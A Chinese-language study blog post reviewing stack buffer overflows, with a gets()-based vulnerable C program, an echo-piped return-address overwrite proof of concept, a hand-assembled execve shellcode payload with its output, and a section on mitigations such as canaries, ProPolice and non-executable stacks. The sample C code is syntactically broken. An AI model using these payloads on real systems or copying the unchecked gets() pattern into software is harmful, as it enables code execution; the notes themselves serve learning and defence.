Silver的二进制学习记(1):复习字符串漏洞
0x00 复习对象
- 栈粉碎
- 代码注入 以及有关内容
0x01 成因
- 缓冲区长度<填入数据长度
- 无效的边界检查
- 对库函数的错误调用
0x02 基础复习
函数调用和返回流程
调用
PUSH EIP
- 控制权转移(置入新的EIP)
- 保存现场:
PUSH EBP
MOV EBP,ESP
- 分配内存:
SUB ESP,0X14
返回
- 收回内存:
MOV ESP, EBP
- 恢复现场:
POP EBP
- 控制权交还
内存管理
- 帧和栈
- 临时变量会存储在EBP-offset_address
- ret时候要用的EIP会在
EBP+sizeof(EBP)
处 - 覆盖这个地址可以实现返回时控制权的转移
0x03 栈粉碎
有漏洞的程序
bool verify{
char buff[12]="";
buff=gets();
if(!strcmp(buff,"password"))
return true;
else
return false;
}
int main(void)
{
int state=verify();
if ( !state )
puts("Oops!");
else
puts("Good!"); //0x080484f3
return 0;
}
POC:
#!/bin/sh
echo -ne "123412341234123412341234\xf3\x84\x04\x08" | ./vul
#extra bytes might caused by align
结果:
[silver@binresearch stack_smashing]$ ./stack_smashing_command.sh
Show me your name:
Good boy!
./stack_smashing_command.sh: line 2: 5432 Done echo -ne '123412341234123412341234\xf3\x84\x04\x08'
5433 Segmentation fault | ./vulnerable
分析:破坏了压进去的EBP(?) (今天听吴神说过残像攻击,可能有用,mark下)
0x04 代码注入
漏洞同上 POC:
#!/bin/sh
#following are explain. of this exploit
# ADDR DATA MEANING
#0xFFFFD17C 80 D1 FF FF the address of code
#0xFFFFD180 31 C0 XOR eax, eax
#0xFFFFD182 A3 9F D1 FF FF MOV 0xFFFFD19F, EAX //SET THIS TO NULL
#0xFFFFD187 B0 0B MOV AL, 0X0B
#0xFFFFD189 BB A3 D1 FF FF MOV EBX, 0xFFFFD1A3 //Arg[1]
#0xFFFFD18E B9 9B D1 FF FF MOV ECX, 0xFFFFD19B //Arg[2]
#0xFFFFD193 8B 15 9F D1 FF FF MOV EDX, 0xFFFFD19F //Arg[3]
#0xFFFFD199 CD 80 INT 80 //EXECUTE!
#0xFFFFD19B 9F D1 FF FF pointer to a null str
#0xFFFFD19F "fdru" a string which will be nulled
#0xFFFFD1A3-D1AF command /usr/bin/cal
echo -ne '111122223333444455556666\x80\xd1\xff\xff\x31\xc0\xa3\x9f\xd1\xff\xff\xb0\x0b\xbb\xa3\xd1\xff\xff\xb9\x9b\xd1\xff\xff\x8b\x15\x9f\xd1\xff\xff\xcd\x80\xa3\xd1\xff\xff\x66\x64\x72\x75\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x63\x61\x6c\x00' > exp_with_mess.bin
#I WILL NEVER LOOK UP INTEL'S TABLE TO ASS. THIS ASSHOLE
#NEVER!!!
结果:失败
[silver@binresearch stack_smashing]$ ./vul < exp_with_mess.bin
Segmentation fault
分析:使用固定地址,且未关闭栈随机化(?)
Question:为什么XOR EAX,EAX
是31 C0
?
0x05 弧注入
控制流转移;巧妙控制压进去的帧指针===>调用链
0x06 缓解策略
- 对攻击的检测
- 设立哨位
- 目标:栈粉碎攻击
- 方法:置于缓冲区边缘,返回时检查是否被修改。检测到改变即表示存在栈粉碎攻击
- 要求:绝对随机的canaries或难以插入的canaries
- 缺陷:无法保护对变量的修改;并不能阻止溢出;不能完全阻止对栈内EIP的覆盖
- 对最后一点的对策:ramdon xor canaries---要求canary绝对保密
- 运行时的边界检查
- aka.: 和Java一样慢
- 设立哨位
- 阻止攻击
- 栈粉碎保护器(ProPolice)
- 变量重排
- GCC的一个拓展
- 栈随机化
- 并不能阻止相对地址
- 不可执行的栈
- 潜在的兼容性风险
- 栈粉碎保护器(ProPolice)
- 减少风险
- 最小特权原则
- 使用安全的库函数
- 谨防队友坑
0x07 参考
《C和C++安全编码》